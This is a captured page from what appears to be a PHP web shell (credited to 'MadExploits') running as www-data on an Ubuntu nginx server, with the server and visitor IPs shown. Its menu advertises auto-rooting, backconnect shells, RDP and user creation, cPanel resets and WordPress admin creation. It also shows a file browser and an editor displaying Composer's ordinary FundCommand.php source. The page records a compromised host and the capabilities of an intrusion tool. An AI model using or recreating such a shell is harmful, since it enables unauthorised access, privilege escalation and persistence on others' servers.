Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Composer /
Command /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutCommand.php
1.28
KB
-rw-r--r--
ArchiveCommand.php
7.61
KB
-rw-r--r--
BaseCommand.php
9.54
KB
-rw-r--r--
BaseDependencyCommand.php
8.88
KB
-rw-r--r--
CheckPlatformReqsCommand.php
7.82
KB
-rw-r--r--
ClearCacheCommand.php
2.24
KB
-rw-r--r--
ConfigCommand.php
34.37
KB
-rw-r--r--
CreateProjectCommand.php
23.64
KB
-rw-r--r--
DependsCommand.php
1.78
KB
-rw-r--r--
DiagnoseCommand.php
27.21
KB
-rw-r--r--
DumpAutoloadCommand.php
5.16
KB
-rw-r--r--
ExecCommand.php
3.46
KB
-rw-r--r--
FundCommand.php
5.29
KB
-rw-r--r--
GlobalCommand.php
3.91
KB
-rw-r--r--
HomeCommand.php
5.51
KB
-rw-r--r--
InitCommand.php
43.4
KB
-rw-r--r--
InstallCommand.php
7.55
KB
-rw-r--r--
LicensesCommand.php
7.08
KB
-rw-r--r--
OutdatedCommand.php
4.96
KB
-rw-r--r--
ProhibitsCommand.php
1.96
KB
-rw-r--r--
ReinstallCommand.php
8.35
KB
-rw-r--r--
RemoveCommand.php
14.04
KB
-rw-r--r--
RequireCommand.php
22.24
KB
-rw-r--r--
RunScriptCommand.php
5.1
KB
-rw-r--r--
ScriptAliasCommand.php
2.15
KB
-rw-r--r--
SearchCommand.php
4.69
KB
-rw-r--r--
SelfUpdateCommand.php
25.17
KB
-rw-r--r--
ShowCommand.php
54.07
KB
-rw-r--r--
StatusCommand.php
8.3
KB
-rw-r--r--
SuggestsCommand.php
3.99
KB
-rw-r--r--
UpdateCommand.php
16.38
KB
-rw-r--r--
ValidateCommand.php
10.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FundCommand.php
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Command; use Composer\Json\JsonFile; use Composer\Package\AliasPackage; use Composer\Package\BasePackage; use Composer\Package\CompletePackageInterface; use Composer\Pcre\Preg; use Composer\Repository\CompositeRepository; use Composer\Semver\Constraint\MatchAllConstraint; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * @author Nicolas Grekas <p@tchwork.com> * @author Jordi Boggiano <j.boggiano@seld.be> */ class FundCommand extends BaseCommand { /** * @return void */ protected function configure() { $this->setName('fund') ->setDescription('Discover how to help fund the maintenance of your dependencies.') ->setDefinition(array( new InputOption('format', 'f', InputOption::VALUE_REQUIRED, 'Format of the output: text or json', 'text'), )) ; } /** * @return int */ protected function execute(InputInterface $input, OutputInterface $output) { $composer = $this->getComposer(); $repo = $composer->getRepositoryManager()->getLocalRepository(); $remoteRepos = new CompositeRepository($composer->getRepositoryManager()->getRepositories()); $fundings = array(); $packagesToLoad = array(); foreach ($repo->getPackages() as $package) { if ($package instanceof AliasPackage) { continue; } $packagesToLoad[$package->getName()] = new MatchAllConstraint(); } // load all packages dev versions in parallel $result = $remoteRepos->loadPackages($packagesToLoad, array('dev' => BasePackage::STABILITY_DEV), array()); // collect funding data from default branches foreach ($result['packages'] as $package) { if ( !$package instanceof AliasPackage && $package instanceof CompletePackageInterface && $package->isDefaultBranch() && $package->getFunding() && isset($packagesToLoad[$package->getName()]) ) { $fundings = $this->insertFundingData($fundings, $package); unset($packagesToLoad[$package->getName()]); } } // collect funding from installed packages if none was found in the default branch above foreach ($repo->getPackages() as $package) { if ($package instanceof AliasPackage || !isset($packagesToLoad[$package->getName()])) { continue; } if ($package instanceof CompletePackageInterface && $package->getFunding()) { $fundings = $this->insertFundingData($fundings, $package); } } ksort($fundings); $io = $this->getIO(); $format = $input->getOption('format'); if (!in_array($format, array('text', 'json'))) { $io->writeError(sprintf('Unsupported format "%s". See help for supported formats.', $format)); return 1; } if ($fundings && $format === 'text') { $prev = null; $io->write('The following packages were found in your dependencies which publish funding information:'); foreach ($fundings as $vendor => $links) { $io->write(''); $io->write(sprintf("<comment>%s</comment>", $vendor)); foreach ($links as $url => $packages) { $line = sprintf(' <info>%s</info>', implode(', ', $packages)); if ($prev !== $line) { $io->write($line); $prev = $line; } $io->write(sprintf(' %s', $url)); } } $io->write(""); $io->write("Please consider following these links and sponsoring the work of package authors!"); $io->write("Thank you!"); } elseif ($format === 'json') { $io->write(JsonFile::encode($fundings)); } else { $io->write("No funding links were found in your package dependencies. This doesn't mean they don't need your support!"); } return 0; } /** * @param mixed[] $fundings * @return mixed[] */ private function insertFundingData(array $fundings, CompletePackageInterface $package) { foreach ($package->getFunding() as $fundingOption) { list($vendor, $packageName) = explode('/', $package->getPrettyName()); // ignore malformed funding entries if (empty($fundingOption['url'])) { continue; } $url = $fundingOption['url']; if (!empty($fundingOption['type']) && $fundingOption['type'] === 'github' && Preg::isMatch('{^https://github.com/([^/]+)$}', $url, $match)) { $url = 'https://github.com/sponsors/'.$match[1]; } $fundings[$vendor][$url][] = $packageName; } return $fundings; } }
Close